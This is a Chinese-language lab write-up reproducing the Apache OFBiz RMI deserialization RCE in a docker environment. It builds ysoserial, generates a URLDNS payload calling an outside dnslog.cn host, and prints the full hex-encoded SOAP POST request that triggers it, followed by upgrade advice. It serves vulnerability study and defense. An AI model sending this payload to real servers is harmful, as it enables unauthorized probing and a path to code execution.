0x00简介
Apache OFBiz全称是The ApacheOpen For Business Project。是开放的电子商务平台,是一个非常著名的开源项目,提供了创建基于最新的J2EE/XML规范和技术标准,构建大中型企业级、快平台、跨数据库、跨应用服务器的多层、分布式电子商务类WEB应用系统的框架。OFBiz几乎实现了所有的J2EE核心设计模式,各个模块之间的耦合比较松散,用户能够比较容易<typo id="typo-203" data-origin="的" ignoretag="true">的</typo>根据自己的需要进行拆卸,非常灵活。
image0x01漏洞概述
2021年3月22日 Apache OFBiz官方发布安全更新,修复了一处由RMI反序列化造成的远程代码执行漏洞。攻击者可构造恶意请求,触发反序列化,从而造成任意代码执行,控制服务器。
0x02影响版本
Apache OFBiz < 17.12.06
0x03环境搭建
1、本次漏洞复现使用docker环境搭建,使用docker搜索ofbiz
docker search ofbiz
2、选择第二个,使用命令拉取环境
docker pull opensourceknight/ofbiz
3、拉取完毕后使用命令运行漏洞环境,使用ps查看是否启动成功
docker run -d -p 8080:8080 -p 8443:8443 opensourceknight/ofbiz
0x04漏洞复现
1、在GitHub上下载java反序列化利用工具ysoserial,
git clone https://github.com/frohoff/ysoserial.git
2、进入ysoserial目录使用maven下载编译需要<typo id="typo-716" data-origin="得" ignoretag="true">得</typo>包,编译成功为以下图片
mvn clean package -DskipTests
3、在ysoserial目录可以看到有一个target目录,进入此目录
image7.png4、准备一个dnslog地址,使用以下命令生成编码保存到123.ot
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS http://w5voea.dnslog.cn >123.ot
5、使用python脚本转成hex
import binascii
filename = '123.ot'
with open(filename, 'rb') as f:
content = f.read()
print(binascii.hexlify(content))
image
6、在浏览器访问以下地址然后使用Burp抓包发送到重放模块
https://your-ip:8443/webtools/control/SOAPService
image7、将GET改为POST在包内添加以下数据,将数据内cus-obj中的代码修改成自己生成的代码,把dnslog地址也换成自己的,修改完后发送
POST /webtools/control/SOAPService HTTP/1.1
Host: 172.16.1.146:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/xml
Content-Length: 1023
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/>
<soapenv:Body>
<ser>
<map-HashMap>
<map-Entry>
<map-Key>
<cus-obj>aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff7400107735766f65612e646e736c6f672e636e74000071007e0005740004687474707078740017687474703a2f2f7735766f65612e646e736c6f672e636e78</cus-obj>
</map-Key>
<map-Value>
<std-String value="http://w5voea.dnslog.cn"/>
</map-Value>
</map-Entry>
</map-HashMap>
</ser>
</soapenv:Body>
</soapenv:Envelope>
image
8、查看dnslog
image9、在github上相关的利用脚本,这里就不做演示
0x05修复建议
1、升级到最新版本或安全版本
https://ofbiz.apache.org/download.html#vulnerabilities
参考地址: https://blog.csdn.net/xuandao_ahfengren/article/details/115163971
网友评论